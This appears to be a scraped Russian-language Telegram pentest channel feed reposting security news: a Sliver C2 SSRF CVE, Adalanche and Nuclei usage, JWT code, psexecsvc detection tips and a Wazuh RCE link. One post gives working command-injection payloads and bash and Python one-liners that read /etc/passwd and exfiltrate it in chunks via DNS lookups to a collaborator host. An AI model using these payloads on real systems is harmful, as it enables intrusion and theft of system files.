Fsecurity | HH
الذهاب إلى القناة على Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
إظهار المزيد2 066
المشتركون
-224 ساعات
-97 أيام
+330 أيام
أرشيف المشاركات
2 066
Repost from SecuriXy.kz
SSRF в C2 Sliver Teamserver CVE-2025-27090
Affected versions: >= 1.5.26, <= 1.5.42
Patched versions: 1.5.43
Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w
PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]
2 066
Repost from Pentest HaT
🔄 💻 Adalanche v2025.2.6
Обновление отличного кроссплатформенного инструмента для визуализации, построения графов, связей и исследования Active Directory.
Даст мгновенные результаты, показывая, какие разрешения имеют пользователи и группы в 💻 AD. Полезен для изучения того, кто может управлять учетными записями, машинами или всем доменом, и может использоваться для поиска и отображения неправильных конфигураций. Покажет проблемы делегирования, AD CS и многое другое.
Проект активно развивается. Написан на 💻
Отличия от 😉 BloodHound:
Не требуется Neo4J, Python Не требуется предварительной настройки Для построения запросов используется расширенный LDAP синтаксис Наличие бесплатной и коммерческой версииМашина в домене:
adalanche.exe collect activedirectoryМашина не в домене:
adalanche.exe collect activedirectory --ignorecert --domain contoso.local --authdomain CONTOSO --username dom_user --password P@ssw0rd
Будет создана папка data
Анализ:
adalanche.exe analyze
💻 Github
💻 Documentation
➡️ Commercial version
#adalanche #golang #soft #activedirectory
✈️ Pentest HaT2 066
Repost from #Arm1tage
Интеграция ИИ в Nuclei
В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.
Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:
nuclei -authИ добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:
nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dastТаким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров. Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:
-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions." -ai "Detect exposed .git repositories and sensitive files" -ai "Identify default credentials on login pages" -ai "Identify open FTP servers allowing anonymous access"В общем ждем, когда ИИ будет топ 1 на хакерване. #nuclei #ai
2 066
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
2 066
Repost from Pentest HaT
⚙️Онлайн инструменты для работы с JWT
JSON Web Token - специальный формат токена, который позволяет безопасно(в идеале 😁) передавать данные между клиентом и сервером.
Состоит из трёх частей: заголовок, пейлоад и подпись
➡️Мой любимый - https://token.dev
➡️По классике - https://jwt.io
➡️Еще неплохой вариант
➡️Отдельно декодер для Flask Session Cookie
Пример простейшей реализации на Python 🐍
import json
import hmac
import hashlib
import base64
import uuid
header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = str(uuid.uuid4())
def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
jwt_parts = []
json_header = json.dumps(header).encode()
json_payload = json.dumps(payload).encode()
jwt_parts.append(base64.urlsafe_b64encode(json_header))
jwt_parts.append(base64.urlsafe_b64encode(json_payload))
merge_payload_header = b'.'.join(jwt_parts)
signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
jwt_parts.append(base64.urlsafe_b64encode(signature))
return b'.'.join(jwt_parts)
print(f'Secret: {secret}')
print(jwt_gen(header, payload, secret))
#jwt #token #flask #python
✈️ Pentest HaT2 066
Repost from Заметки склерозного вебера
+1
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:
name=val`ping -с 1 $(whoami).collaborator`ue
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
Данный bash я делал по ранее написанному python-коду:
import os, base64, time
border, domain, delay = 40, ".collaborator", 3
with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]
for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex2 066
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
2 066
Repost from Хатка бобра
На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного.
Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.
В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.
При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXECSVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).
Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/
#psexec #impacket
2 066
Repost from APT
⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016)
An unsafe deserialization vulnerability in Wazuh servers allows remote code execution through unsanitized dictionary injection in DAPI requests/responses. If an attacker injects an unsanitized dictionary into a DAPI request or response, they can craft an unhandled exception, allowing arbitrary Python code execution.
🔗 Source:
https://github.com/0xjessie21/CVE-2025-24016
#wazuh #deserialization #rce #cve
